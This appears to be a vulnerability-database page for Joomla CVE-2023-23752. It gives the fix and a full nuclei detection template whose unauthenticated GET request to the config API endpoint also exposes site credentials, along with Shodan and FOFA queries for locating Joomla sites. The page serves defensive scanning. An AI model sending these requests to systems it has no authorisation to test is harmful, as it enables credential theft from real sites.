HexBrain

Browse / CVEs / CVE-2023-23752

CVE-2023-23752· joomla / joomla\!

Joomla! Webservice - Password Disclosure

Exploited in the wild. Listed by CISA on 2024-01-08; known to be used by ransomware.

mediumseverity
5.3CVSS score
99.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.

Impact

The vulnerability can lead to unauthorized access to user passwords, compromising the confidentiality of user accounts.

Fix

Upgrade to Joomla! version 4.2.8 or later.

How to confirm it

Send: GET {{BaseURL}}/api/index.php/v1/config/application?public=true ; GET {{BaseURL}}/api/v1/config/application?public=true
Positive when: contains "\"links\":" and "\"attributes\":" AND contains in header "application/json" or "application/vnd.api+json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-23752 -u <target>

The full check
id: CVE-2023-23752

info:
  name: Joomla! Webservice - Password Disclosure
  author: badboycxcc,Sascha Brendel
  severity: medium
  description: |
    An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.
  impact: |
    The vulnerability can lead to unauthorized access to user passwords, compromising the confidentiality of user accounts.
  remediation: Upgrade to Joomla! version 4.2.8 or later.
  reference:
    - https://unsafe.sh/go-149780.html
    - https://twitter.com/gov_hack/status/1626471960141238272/photo/1
    - https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23552
    - https://github.com/20142995/pocsuite3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-23752
    epss-score: 0.99809
    epss-percentile: 0.99958
    cpe: cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: joomla
    product: joomla\!
    shodan-query:
      - html:"Joomla! - Open Source Content Management"
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve,cve2023,joomla,kev,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/index.php/v1/config/application?public=true'
      - '{{BaseURL}}/api/v1/config/application?public=true'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"links":'
          - '"attributes":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'
          - 'application/vnd.api+json'
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from